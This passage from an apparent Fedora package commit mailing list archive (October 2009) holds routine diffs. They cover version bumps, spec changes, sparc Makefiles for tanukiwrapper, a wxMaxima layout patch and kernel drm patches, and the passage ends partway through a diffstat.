+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.3.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Mon Feb 16 2009 Dennis Gilmore <dennis at ausil.us> - 2.8.3.2-1
+- update to 2.8.3.2
+
+* Fri Jan 23 2009 Dennis Gilmore <dennis at ausil.us> - 2.8.1-6
+- rebuild for new mysql
+
 * Wed Jun 25 2008 Steve Grubb <sgrubb at redhat.com> - 2.8.1-5
 - Fix bz 452736, 452737, & 452763
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	15 May 2008 22:11:19 -0000	1.11
+++ sources	26 Oct 2009 03:00:08 -0000	1.12
@@ -1 +1 @@
-a41fd96894ab59ae4df45aa5f3345c52  snort-2.8.1.tar.gz
+b1abf3a9fa3486720c9a2b5eff920417  snort-2.8.5.1.tar.gz


--- snort-2.7.0.1-glibc.patch DELETED ---



From whot at fedoraproject.org  Mon Oct 26 03:02:46 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 26 Oct 2009 03:02:46 +0000 (UTC)
Subject: rpms/libXxf86dga/F-12 .cvsignore, 1.9, 1.10 libXxf86dga.spec, 1.23, 
	1.24 sources, 1.10, 1.11
Message-ID: <20091026030246.6710A11C00E5@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/libXxf86dga/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6951

Modified Files:
	.cvsignore libXxf86dga.spec sources 
Log Message:
* Mon Oct 26 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.1.1-1
- libXxf86dga 1.1.1
  Requires xorg-x11-proto-devel for new xf86dgaproto.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86dga/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	28 Aug 2009 03:02:10 -0000	1.9
+++ .cvsignore	26 Oct 2009 03:02:46 -0000	1.10
@@ -1 +1 @@
-libXxf86dga-1.0.99.1.tar.bz2
+libXxf86dga-1.1.1.tar.bz2


Index: libXxf86dga.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86dga/F-12/libXxf86dga.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- libXxf86dga.spec	28 Aug 2009 03:02:10 -0000	1.23
+++ libXxf86dga.spec	26 Oct 2009 03:02:46 -0000	1.24
@@ -1,6 +1,6 @@
 Summary: X.Org X11 libXxf86dga runtime library
 Name: libXxf86dga
-Version: 1.0.99.1
+Version: 1.1.1
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -10,7 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
 BuildRequires: pkgconfig
-BuildRequires: xorg-x11-proto-devel
+BuildRequires: xorg-x11-proto-devel >= 7.4-32
 BuildRequires: libX11-devel
 BuildRequires: libXext-devel
 
@@ -58,10 +58,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libXxf86dga.so
 %{_libdir}/pkgconfig/xxf86dga.pc
 %{_mandir}/man3/*.3*
-%{_includedir}/X11/extensions/xf86dga.h
+%{_includedir}/X11/extensions/Xxf86dga.h
 %{_includedir}/X11/extensions/xf86dga1.h
 
 %changelog
+* Mon Oct 26 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.1.1-1
+- libXxf86dga 1.1.1
+  Requires xorg-x11-proto-devel for new xf86dgaproto.
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.99.1-1
 - libXxf86dga 1.0.99.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXxf86dga/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	28 Aug 2009 03:02:10 -0000	1.10
+++ sources	26 Oct 2009 03:02:46 -0000	1.11
@@ -1 +1 @@
-de75bfb5a399af5df158a6dba203205b  libXxf86dga-1.0.99.1.tar.bz2
+368837d3d7a4d3b4f70be48383e3544e  libXxf86dga-1.1.1.tar.bz2



From rdieter at fedoraproject.org  Mon Oct 26 03:15:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 03:15:20 +0000 (UTC)
Subject: rpms/lyx/devel lyx.spec,1.100,1.101
Message-ID: <20091026031520.E20F911C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/lyx/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8470

Modified Files:
	lyx.spec 
Log Message:
fix use of %name vs %fontname



Index: lyx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lyx/devel/lyx.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- lyx.spec	17 Sep 2009 18:14:26 -0000	1.100
+++ lyx.spec	26 Oct 2009 03:15:20 -0000	1.101
@@ -157,7 +157,7 @@ Group:   Applications/Publishing
 License: Copyright only and GPL+
 %{?fontpackages:Requires: fontpackages-filesystem}
 %{?build_noarch}
-%description -n %{name}-fonts-common
+%description -n %{fontname}-fonts-common
 This package consists of files used by other %{fontname}-fonts packages.
 
 %package -n %{fontname}-cmex10-fonts



From ausil at fedoraproject.org  Mon Oct 26 03:28:23 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 03:28:23 +0000 (UTC)
Subject: rpms/tanukiwrapper/F-12 tanukiwrapper-Makefile-sparc-sparc64.patch, 
	NONE, 1.1 tanukiwrapper.spec, 1.32, 1.33
Message-ID: <20091026032823.E361111C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/tanukiwrapper/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10777

Modified Files:
	tanukiwrapper.spec 
Added Files:
	tanukiwrapper-Makefile-sparc-sparc64.patch 
Log Message:
add path with sparc makefile support


tanukiwrapper-Makefile-sparc-sparc64.patch:
 Makefile-linux-sparc-32   |   39 +++++++++++++++++++++++++++++++++++++++
 Makefile-linux-sparc64-64 |   41 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 80 insertions(+)

--- NEW FILE tanukiwrapper-Makefile-sparc-sparc64.patch ---
--- wrapper_3.2.3_src/src/c/Makefile-linux-sparc-32	2009-10-15 19:40:08.633904530 +0000
+++ wrapper_3.2.3_src/src/c/Makefile-linux-sparc-32	2009-10-26 00:29:29.000000000 +0000
@@ -0,0 +1,39 @@
+COMPILE = gcc -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m32 -mcpu=ultrasparc -Wall --pedantic
+
+INCLUDE=$(JAVA_HOME)/include
+
+DEFS = -I$(INCLUDE) -I$(INCLUDE)/linux
+
+wrapper_SOURCE = wrapper.c wrapperinfo.c wrappereventloop.c wrapper_unix.c property.c logger.c
+
+libwrapper_so_OBJECTS = wrapperjni_unix.o wrapperinfo.o wrapperjni.o
+
+BIN = ../../bin
+LIB = ../../lib
+
+all: init wrapper libwrapper.so
+
+clean:
+	rm -f *.o
+
+cleanall: clean
+	rm -rf *~ .deps
+	rm -f $(BIN)/wrapper $(LIB)/libwrapper.so
+
+init:
+	if test ! -d .deps; then mkdir .deps; fi
+
+wrapper: $(wrapper_SOURCE)
+	$(COMPILE) -pthread $(wrapper_SOURCE) -o $(BIN)/wrapper -lm
+
+libwrapper.so: $(libwrapper_so_OBJECTS)
+	${COMPILE} -shared -fPIC $(libwrapper_so_OBJECTS) -o $(LIB)/libwrapper.so
+
+%.o: %.c
+	@echo '$(COMPILE) -c $<'; \
+	$(COMPILE) $(DEFS) -fPIC -Wp,-MD,.deps/$(*F).pp -c $<
+	@-cp .deps/$(*F).pp .deps/$(*F).P; \
+	tr ' ' '\012' < .deps/$(*F).pp \
+	| sed -e 's/^\\$$//' -e '/^$$/ d' -e '/:$$/ d' -e 's/$$/ :/' \
+	>> .deps/$(*F).P; \
+	rm .deps/$(*F).pp
--- wrapper_3.2.3_src/src/c/Makefile-linux-sparc64-64	2009-10-15 19:40:08.633904530 +0000
+++ wrapper_3.2.3_src/src/c/Makefile-linux-sparc64-64	2009-10-26 00:28:26.000000000 +0000
@@ -0,0 +1,41 @@
+# This makefile is inprogess.  It builds, but the resulting libwrapper.so does not yet work.
+# If you know how to fix it then please help out.
+COMPILE = gcc -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mcpu=ultrasparc -fPIC -Wall --pedantic
+
+INCLUDE=$(JAVA_HOME)/include
+
+DEFS = -I$(INCLUDE) -I$(INCLUDE)/linux
+
+wrapper_SOURCE = wrapper.c wrapperinfo.c wrappereventloop.c wrapper_unix.c property.c logger.c
+
+libwrapper_so_OBJECTS = wrapperjni_unix.o wrapperinfo.o wrapperjni.o
+
+BIN = ../../bin
+LIB = ../../lib
+
+all: init wrapper libwrapper.so
+
+clean:
+	rm -f *.o
+
+cleanall: clean
+	rm -rf *~ .deps
+	rm -f $(BIN)/wrapper $(LIB)/libwrapper.so
+
+init:
+	if test ! -d .deps; then mkdir .deps; fi
+
+wrapper: $(wrapper_SOURCE)
+	$(COMPILE) -pthread -lm $(wrapper_SOURCE) -o $(BIN)/wrapper
+
+libwrapper.so: $(libwrapper_so_OBJECTS)
+	${COMPILE} -shared $(libwrapper_so_OBJECTS) -o $(LIB)/libwrapper.so
+
+%.o: %.c
+	@echo '$(COMPILE) -c $<'; \
+	$(COMPILE) $(DEFS) -fPIC -Wp,-MD,.deps/$(*F).pp -c $<
+	@-cp .deps/$(*F).pp .deps/$(*F).P; \
+	tr ' ' '\012' < .deps/$(*F).pp \
+	| sed -e 's/^\\$$//' -e '/^$$/ d' -e '/:$$/ d' -e 's/$$/ :/' \
+	>> .deps/$(*F).P; \
+	rm .deps/$(*F).pp


Index: tanukiwrapper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tanukiwrapper/F-12/tanukiwrapper.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- tanukiwrapper.spec	31 Jul 2009 17:17:50 -0000	1.32
+++ tanukiwrapper.spec	26 Oct 2009 03:28:23 -0000	1.33
@@ -34,7 +34,7 @@
 
 Name:		tanukiwrapper
 Version:	3.2.3
-Release:	4.4%{?dist}
+Release:	5%{?dist}
 Summary:	Java Service Wrapper
 Epoch:		0
 License:	BSD
@@ -45,9 +45,10 @@ Patch2:		%{name}-crosslink.patch
 Patch3:		%{name}-makefile-linux-x86-32.patch
 #Add Makefiles so package builds for all FC architectures.
 Patch4:		%{name}-Makefile-s390-s390x-ppc.patch
+Patch5:         %{name}-Makefile-sparc-sparc64.patch
 # The following patch is only needed for GCJ.
-Patch5:		%{name}-nosun-jvm-64.patch
-Patch6:     %{name}-compilewithfpic.patch
+Patch6:		%{name}-nosun-jvm-64.patch
+Patch7:     %{name}-compilewithfpic.patch
 Group:		Development/Java
 BuildRequires:	jpackage-utils >= 0:1.6
 BuildRequires:	glibc-devel
@@ -103,11 +104,12 @@ Group:          Development/Documentatio
 %patch2
 %patch3
 %patch4
+%patch5 -p1
 # The following patch is only needed for GCJ.
 %if %{gcj_support}
-%patch5
-%endif
 %patch6
+%endif
+%patch7
 find . -name "*.jar" -exec %__rm -f {} \;
 %__perl -p -i -e 's/\r//' doc/AUTHORS
 %__perl -p -i -e 's|-O3|%optflags|' src/c/Makefile*
@@ -204,6 +206,9 @@ fi
 %doc doc/*
 
 %changelog
+* sun Oct 25 2009 Dennis Gilmore <dennis at ausil.us> - 0:3.2.3-5
+- add patch with sparc support
+
 * Fri Jul 31 2009 Deepak Bhole <dbhole at redhat.com> - 0:3.2.3-4.4
 - Fix bug #480189 Compile files with -fPIC
 



From ausil at fedoraproject.org  Mon Oct 26 03:35:39 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 03:35:39 +0000 (UTC)
Subject: rpms/tanukiwrapper/F-12 tanukiwrapper.spec,1.33,1.34
Message-ID: <20091026033539.4611211C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/tanukiwrapper/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11498

Modified Files:
	tanukiwrapper.spec 
Log Message:
fix date case



Index: tanukiwrapper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tanukiwrapper/F-12/tanukiwrapper.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- tanukiwrapper.spec	26 Oct 2009 03:28:23 -0000	1.33
+++ tanukiwrapper.spec	26 Oct 2009 03:35:39 -0000	1.34
@@ -206,7 +206,7 @@ fi
 %doc doc/*
 
 %changelog
-* sun Oct 25 2009 Dennis Gilmore <dennis at ausil.us> - 0:3.2.3-5
+* Sun Oct 25 2009 Dennis Gilmore <dennis at ausil.us> - 0:3.2.3-5
 - add patch with sparc support
 
 * Fri Jul 31 2009 Deepak Bhole <dbhole at redhat.com> - 0:3.2.3-4.4



From rdieter at fedoraproject.org  Mon Oct 26 03:37:46 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 03:37:46 +0000 (UTC)
Subject: rpms/wxMaxima/F-11 wxMaxima-0.8.3a-ltr_layout.patch, NONE,
	1.1 .cvsignore, 1.11, 1.12 sources, 1.10, 1.11 wxMaxima.spec,
	1.28, 1.29 wxMaxima-0.8.2-ltr_layout.patch, 1.1, NONE
Message-ID: <20091026033746.181E511C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wxMaxima/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11862

Modified Files:
	.cvsignore sources wxMaxima.spec 
Added Files:
	wxMaxima-0.8.3a-ltr_layout.patch 
Removed Files:
	wxMaxima-0.8.2-ltr_layout.patch 
Log Message:
* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.3a-1
- wxMaxima-0.8.3a (#530915)


wxMaxima-0.8.3a-ltr_layout.patch:
 MathCtrl.cpp |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE wxMaxima-0.8.3a-ltr_layout.patch ---
diff -up wxMaxima-0.8.3a/src/MathCtrl.cpp.ltr_layout wxMaxima-0.8.3a/src/MathCtrl.cpp
--- wxMaxima-0.8.3a/src/MathCtrl.cpp.ltr_layout	2009-07-29 11:10:32.000000000 -0500
+++ wxMaxima-0.8.3a/src/MathCtrl.cpp	2009-10-25 21:44:12.939696128 -0500
@@ -86,6 +86,8 @@ MathCtrl::MathCtrl(wxWindow* parent, int
   m_zoomFactor = 1.0; // set zoom to 100%
   m_evaluationQueue = new EvaluationQueue();
   AdjustSize();
+  // hack to workaround problems in RtL locales, http://bugzilla.redhat.com/455863
+  SetLayoutDirection(wxLayout_LeftToRight);
 }
 
 MathCtrl::~MathCtrl() {


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/F-11/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	3 Aug 2009 18:33:05 -0000	1.11
+++ .cvsignore	26 Oct 2009 03:37:45 -0000	1.12
@@ -1 +1 @@
-wxMaxima-0.8.2.tar.gz
+wxMaxima-0.8.3a.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	3 Aug 2009 18:33:05 -0000	1.10
+++ sources	26 Oct 2009 03:37:45 -0000	1.11
@@ -1 +1 @@
-d3d4abde8495aebb295df587587de4a8  wxMaxima-0.8.2.tar.gz
+23118fa17246fd898f1eefe61e0b3893  wxMaxima-0.8.3a.tar.gz


Index: wxMaxima.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/F-11/wxMaxima.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- wxMaxima.spec	3 Aug 2009 18:33:05 -0000	1.28
+++ wxMaxima.spec	26 Oct 2009 03:37:45 -0000	1.29
@@ -3,8 +3,8 @@
 
 Summary: Graphical user interface for Maxima 
 Name:    wxMaxima
-Version: 0.8.2
-Release: 3%{?dist}
+Version: 0.8.3a
+Release: 1%{?dist}
 
 License: GPLv2+
 Group:   Applications/Engineering
@@ -12,7 +12,8 @@ URL:     http://wxmaxima.sourceforge.net
 Source0: http://downloads.sourceforge.net/sourceforge/wxmaxima/wxMaxima-%{version}.tar.gz 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Patch1: wxMaxima-0.8.2-ltr_layout.patch
+## upstreamable patches
+Patch50: wxMaxima-0.8.3a-ltr_layout.patch
 
 # Deployable only where maxima exsists.
 %if 0%{?fedora} > 8
@@ -40,7 +41,7 @@ Maxima using wxWidgets.
 %prep
 %setup -q
 
-%patch1 -p1 -b .ltr_layout
+%patch50 -p1 -b .ltr_layout
 
 
 %build
@@ -105,6 +106,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.3a-1
+- wxMaxima-0.8.3a (#530915)
+
 * Sat Jul 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.2-3
 - Requires: maxima >= 5.18
 


--- wxMaxima-0.8.2-ltr_layout.patch DELETED ---



From mclasen at fedoraproject.org  Mon Oct 26 03:54:33 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 03:54:33 +0000 (UTC)
Subject: rpms/gtk2/F-12 gtk2.spec,1.423,1.424
Message-ID: <20091026035433.35B8F11C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15254

Modified Files:
	gtk2.spec 
Log Message:
Add bug references



Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.423
retrieving revision 1.424
diff -u -p -r1.423 -r1.424
--- gtk2.spec	24 Oct 2009 00:15:50 -0000	1.423
+++ gtk2.spec	26 Oct 2009 03:54:32 -0000	1.424
@@ -32,11 +32,14 @@ Patch1: system-python.patch
 Patch2: icon-padding.patch
 # from upstream
 Patch3: image-size-alloc.patch
-#
+# https://bugzilla.gnome.org/show_bug.cgi?id=599617
 Patch4: fresh-tooltips.patch
 Patch5: zerosize.patch
+# from upstream
 Patch6: compose-sequences.patch
+# from upstream
 Patch7: symbolic-color-parsing.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=599618
 Patch8: tooltip-positioning.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=581150
 Patch9: iconview-hang.patch



From airlied at fedoraproject.org  Mon Oct 26 04:05:44 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Mon, 26 Oct 2009 04:05:44 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-disable-r600-aspm.patch, NONE,
	1.1 drm-next-3e5cb98d.patch, NONE, 1.1 kernel.spec, 1.1882,
	1.1883 drm-fix-palette.patch, 1.1,
	NONE drm-intel-big-hammer.patch, 1.1,
	NONE drm-next-d4ac6a05.patch, 1.2, NONE
Message-ID: <20091026040544.B792411C029B@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5119

Modified Files:
	kernel.spec 
Added Files:
	drm-disable-r600-aspm.patch drm-next-3e5cb98d.patch 
Removed Files:
	drm-fix-palette.patch drm-intel-big-hammer.patch 
	drm-next-d4ac6a05.patch 
Log Message:
* Mon Oct 26 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-97
- drm: rebase to drm-next, drop palette fix, merged upstream
- drm-intel-big-hammer.patch: drop, proper fix in 2.6.31.5
- drm-disable-r600-aspm.patch: test patch to disable aspm on r600/r700 for now


drm-disable-r600-aspm.patch:
 r600.c  |    2 ++
 rv770.c |    3 ++-
 2 files changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE drm-disable-r600-aspm.patch ---
>From 12968ad0f792ede46795ff9492c00fb6d1467261 Mon Sep 17 00:00:00 2001
From: Dave Airlie <airlied at redhat.com>
Date: Mon, 26 Oct 2009 12:49:53 +1000
Subject: [PATCH] drm/radeon/kms: disable aspm on r600/rv770 chips for now.

We've gotten some reports of ASPM related hangs on these GPUs,
this disables aspm on them according to mjg59.

Signed-off-by: Dave Airlie <airlied at redhat.com>
---
 drivers/gpu/drm/radeon/r600.c  |    2 ++
 drivers/gpu/drm/radeon/rv770.c |    2 ++
 2 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/drivers/gpu/drm/radeon/r600.c b/drivers/gpu/drm/radeon/r600.c
index e87475c..3f8a0e3 100644
--- a/drivers/gpu/drm/radeon/r600.c
+++ b/drivers/gpu/drm/radeon/r600.c
@@ -28,6 +28,7 @@
 #include <linux/seq_file.h>
 #include <linux/firmware.h>
 #include <linux/platform_device.h>
+#include <linux/pci-aspm.h>
 #include "drmP.h"
 #include "radeon_drm.h"
 #include "radeon.h"
@@ -1508,6 +1509,7 @@ int r600_startup(struct radeon_device *rdev)
 {
 	int r;
 
+	pci_disable_link_state(rdev->ddev->pdev, PCIE_LINK_STATE_L0S|PCIE_LINK_STATE_L1|PCIE_LINK_STATE_CLKPM);
 	r600_mc_program(rdev);
 	if (rdev->flags & RADEON_IS_AGP) {
 		r600_agp_enable(rdev);
diff --git a/drivers/gpu/drm/radeon/rv770.c b/drivers/gpu/drm/radeon/rv770.c
index 4055391..25df8b9 100644
--- a/drivers/gpu/drm/radeon/rv770.c
+++ b/drivers/gpu/drm/radeon/rv770.c
@@ -27,6 +27,7 @@
  */
 #include <linux/firmware.h>
 #include <linux/platform_device.h>
+#include <linux/pci-aspm.h>
 #include "drmP.h"
 #include "radeon.h"
 #include "radeon_drm.h"
@@ -870,6 +871,7 @@ static int rv770_startup(struct radeon_device *rdev)
 {
 	int r;
 
+	pci_disable_link_state(rdev->ddev->pdev, PCIE_LINK_STATE_L0S|PCIE_LINK_STATE_L1|PCIE_LINK_STATE_CLKPM);
 	rv770_mc_program(rdev);
 	if (rdev->flags & RADEON_IS_AGP) {
 		rv770_agp_enable(rdev);
-- 
1.6.5.1


drm-next-3e5cb98d.patch:
 b/drivers/gpu/drm/Kconfig                         |   18 
 b/drivers/gpu/drm/Makefile                        |    8 
 b/drivers/gpu/drm/drm_bufs.c                      |    4 
 b/drivers/gpu/drm/drm_cache.c                     |   46 
 b/drivers/gpu/drm/drm_crtc.c                      |   78 
 b/drivers/gpu/drm/drm_crtc_helper.c               |  307 
 b/drivers/gpu/drm/drm_drv.c                       |    4 
 b/drivers/gpu/drm/drm_edid.c                      |  551 
 b/drivers/gpu/drm/drm_encoder_slave.c             |  116 
 b/drivers/gpu/drm/drm_fb_helper.c                 | 1030 
 b/drivers/gpu/drm/drm_gem.c                       |   11 
 b/drivers/gpu/drm/drm_mm.c                        |   21 
 b/drivers/gpu/drm/drm_modes.c                     |  434 
 b/drivers/gpu/drm/drm_proc.c                      |   17 
 b/drivers/gpu/drm/drm_sysfs.c                     |   28 
 b/drivers/gpu/drm/i915/Makefile                   |    2 
 b/drivers/gpu/drm/i915/i915_debugfs.c             |  445 
 b/drivers/gpu/drm/i915/i915_dma.c                 |  100 
 b/drivers/gpu/drm/i915/i915_drv.c                 |    9 
 b/drivers/gpu/drm/i915/i915_drv.h                 |   62 
 b/drivers/gpu/drm/i915/i915_gem.c                 |   14 
 b/drivers/gpu/drm/i915/i915_gem_tiling.c          |   65 
 b/drivers/gpu/drm/i915/i915_irq.c                 |   21 
 b/drivers/gpu/drm/i915/i915_reg.h                 |  139 
 b/drivers/gpu/drm/i915/i915_suspend.c             |    4 
 b/drivers/gpu/drm/i915/intel_bios.c               |    8 
 b/drivers/gpu/drm/i915/intel_crt.c                |   28 
 b/drivers/gpu/drm/i915/intel_display.c            |  608 
 b/drivers/gpu/drm/i915/intel_drv.h                |    9 
 b/drivers/gpu/drm/i915/intel_fb.c                 |  748 
 b/drivers/gpu/drm/i915/intel_i2c.c                |    8 
 b/drivers/gpu/drm/i915/intel_lvds.c               |   22 
 b/drivers/gpu/drm/i915/intel_sdvo.c               |  239 
 b/drivers/gpu/drm/i915/intel_tv.c                 |   30 
 b/drivers/gpu/drm/mga/mga_dma.c                   |    4 
 b/drivers/gpu/drm/mga/mga_drv.h                   |    1 
 b/drivers/gpu/drm/mga/mga_warp.c                  |  180 
 b/drivers/gpu/drm/r128/r128_cce.c                 |  116 
 b/drivers/gpu/drm/r128/r128_drv.h                 |    8 
 b/drivers/gpu/drm/r128/r128_state.c               |   36 
 b/drivers/gpu/drm/radeon/.gitignore               |    3 
 b/drivers/gpu/drm/radeon/Kconfig                  |    1 
 b/drivers/gpu/drm/radeon/Makefile                 |   43 
 b/drivers/gpu/drm/radeon/atombios.h               |   13 
 b/drivers/gpu/drm/radeon/atombios_crtc.c          |  350 
 b/drivers/gpu/drm/radeon/avivod.h                 |   60 
 b/drivers/gpu/drm/radeon/mkregtable.c             |  720 
 b/drivers/gpu/drm/radeon/r100.c                   | 1737 +
 b/drivers/gpu/drm/radeon/r100_track.h             |  183 
 b/drivers/gpu/drm/radeon/r100d.h                  |  714 
 b/drivers/gpu/drm/radeon/r200.c                   |  454 
 b/drivers/gpu/drm/radeon/r300.c                   |  981 
 b/drivers/gpu/drm/radeon/r300d.h                  |  306 
 b/drivers/gpu/drm/radeon/r420.c                   |  305 
 b/drivers/gpu/drm/radeon/r420d.h                  |  249 
 b/drivers/gpu/drm/radeon/r500_reg.h               |   12 
 b/drivers/gpu/drm/radeon/r520.c                   |  281 
 b/drivers/gpu/drm/radeon/r520d.h                  |  187 
 b/drivers/gpu/drm/radeon/r600.c                   | 1838 +
 b/drivers/gpu/drm/radeon/r600_blit.c              |  858 
 b/drivers/gpu/drm/radeon/r600_blit_kms.c          |  805 
 b/drivers/gpu/drm/radeon/r600_blit_shaders.c      | 1072 +
 b/drivers/gpu/drm/radeon/r600_blit_shaders.h      |   14 
 b/drivers/gpu/drm/radeon/r600_cp.c                |  541 
 b/drivers/gpu/drm/radeon/r600_cs.c                |  783 
 b/drivers/gpu/drm/radeon/r600d.h                  |  666 
 b/drivers/gpu/drm/radeon/radeon.h                 |  441 
 b/drivers/gpu/drm/radeon/radeon_asic.h            |  351 
 b/drivers/gpu/drm/radeon/radeon_atombios.c        |  289 
 b/drivers/gpu/drm/radeon/radeon_benchmark.c       |    4 
 b/drivers/gpu/drm/radeon/radeon_bios.c            |   49 
 b/drivers/gpu/drm/radeon/radeon_clocks.c          |   18 
 b/drivers/gpu/drm/radeon/radeon_combios.c         |  181 
 b/drivers/gpu/drm/radeon/radeon_connectors.c      |  646 
 b/drivers/gpu/drm/radeon/radeon_cp.c              |  151 
 b/drivers/gpu/drm/radeon/radeon_cs.c              |  104 
 b/drivers/gpu/drm/radeon/radeon_cursor.c          |   10 
 b/drivers/gpu/drm/radeon/radeon_device.c          |  303 
 b/drivers/gpu/drm/radeon/radeon_display.c         |  168 
 b/drivers/gpu/drm/radeon/radeon_drv.c             |   28 
 b/drivers/gpu/drm/radeon/radeon_drv.h             |  216 
 b/drivers/gpu/drm/radeon/radeon_encoders.c        |  223 
 b/drivers/gpu/drm/radeon/radeon_family.h          |   97 
 b/drivers/gpu/drm/radeon/radeon_fb.c              |  694 
 b/drivers/gpu/drm/radeon/radeon_fence.c           |   49 
 b/drivers/gpu/drm/radeon/radeon_gart.c            |   29 
 b/drivers/gpu/drm/radeon/radeon_ioc32.c           |   15 
 b/drivers/gpu/drm/radeon/radeon_irq.c             |   18 
 b/drivers/gpu/drm/radeon/radeon_irq_kms.c         |   16 
 b/drivers/gpu/drm/radeon/radeon_kms.c             |   74 
 b/drivers/gpu/drm/radeon/radeon_legacy_crtc.c     |  126 
 b/drivers/gpu/drm/radeon/radeon_legacy_encoders.c |  392 
 b/drivers/gpu/drm/radeon/radeon_legacy_tv.c       |  904 
 b/drivers/gpu/drm/radeon/radeon_mode.h            |  104 
 b/drivers/gpu/drm/radeon/radeon_object.c          |   27 
 b/drivers/gpu/drm/radeon/radeon_object.h          |    1 
 b/drivers/gpu/drm/radeon/radeon_reg.h             |   86 
 b/drivers/gpu/drm/radeon/radeon_ring.c            |  143 
 b/drivers/gpu/drm/radeon/radeon_state.c           |   23 
 b/drivers/gpu/drm/radeon/radeon_test.c            |    6 
 b/drivers/gpu/drm/radeon/radeon_ttm.c             |   95 
 b/drivers/gpu/drm/radeon/reg_srcs/r100            |  105 
 b/drivers/gpu/drm/radeon/reg_srcs/r200            |  184 
 b/drivers/gpu/drm/radeon/reg_srcs/r300            |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rn50            |   30 
 b/drivers/gpu/drm/radeon/reg_srcs/rs600           |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rv515           |  486 
 b/drivers/gpu/drm/radeon/rs100d.h                 |   40 
 b/drivers/gpu/drm/radeon/rs400.c                  |  329 
 b/drivers/gpu/drm/radeon/rs400d.h                 |  160 
 b/drivers/gpu/drm/radeon/rs600.c                  |  609 
